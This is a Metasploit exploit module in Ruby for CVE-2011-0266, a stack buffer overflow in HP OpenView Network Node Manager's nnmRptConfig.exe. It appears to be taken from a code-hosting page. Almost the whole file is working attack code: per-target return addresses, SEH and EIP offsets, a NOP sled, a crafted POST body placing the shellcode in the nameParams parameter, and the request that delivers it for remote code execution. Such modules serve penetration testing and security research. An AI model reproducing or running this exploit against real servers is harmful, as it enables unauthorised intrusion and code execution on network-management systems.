142 lines
3.8 KiB
Ruby
142 lines
3.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Seh
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def initialize(info={})
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super(update_info(info,
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'Name' => "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
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A remote user can send a long string data to the nameParams parameter via
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a POST request, which causes an overflow on the stack when function
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ov.sprintf_new() is used, and gain arbitrary code execution.'
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},
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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'Author' =>
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[
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'sinn3r',
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'MC',
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],
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'References' =>
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[
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['CVE', '2011-0266'],
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['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/']
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "seh",
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'HP NNM 7.53 Windows Server 2003 Enterprise',
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{
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'Ret' => 0x5A30532D, #POP/POP/RET OvWww.dll
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'offset' => 46913, #Offset to SEH chain
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'Pops' => 13, #Number of POPADs needed
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'Payloadoffset' => 57, #Offset to pyload
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}
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],
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[
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'HP OpenView Network Node Manager 7.50',
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{
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'Ret' => 0x5a01d78d, #JMP
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'offset' => 5117, #Offset to overwrite EIP
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "Jan 10 2011"))
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register_options( [Opt::RPORT(80),], self.class )
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end
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def exploit
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sploit = ''
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data = ''
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if target.name =~ /NNM 7.53/ && target.name =~ /Server 2003/
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nops = make_nops(1000)*70
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sploit << nops[0, target['offset']]
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sploit << generate_seh_record(target.ret)
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sploit << "\x61"*target['Pops']
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sploit << "\x51"
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sploit << "\xc3"
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sploit << nops[0, target['Payloadoffset']]
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sploit << payload.encoded
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sploit << nops[0, 70000-sploit.length]
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data << "Content&Action=Create&"
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data << "Template=Avail/CRAvail&"
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data << "Operation=Apply&"
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data << "Params=schdParams+nameParams"
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data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&"
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data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"
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elsif target.name =~ /7.50/
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#Courtersy of MC
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sploit << rand_text_alpha_upper(target['offset'])
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sploit << [target.ret].pack('V')
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sploit << payload.encoded
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sploit << rand_text_alpha_upper(8024 - 5117 - 4 - payload.encoded.length)
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data << "Content&Action=Modify&Template=Avail/General+Availabiilty/monthtodat"
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data << "e&Operation=Apply&Params=schdParams+nameParams&schdParams=schd_select1%3Dmonto"
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data << "date&nameParams=text1%3D#{sploit}%262%3D%263%3D"
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end
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print_status("Trying target #{target.name}...")
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connect
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send_request_raw({
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'uri' => '/OvCgi/nnmRptConfig.exe',
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'data' => data,
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'version' => '1.1',
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'method' => 'POST',
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'headers' => {
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'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
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'Accept-Language' => 'en-us,en;q=0.5',
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'Accept-Encoding' => 'gzip,deflate',
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'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
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'Keep-Alive' => '300',
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'Connection' => 'Keep-Alive',
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'Cache-Control' => 'max-age=0',
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'Content-Length' => data.length,
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'Content-Type' => 'application/x-www-form-urlencoded',
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}
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}, 3)
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handler
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disconnect
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end
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end
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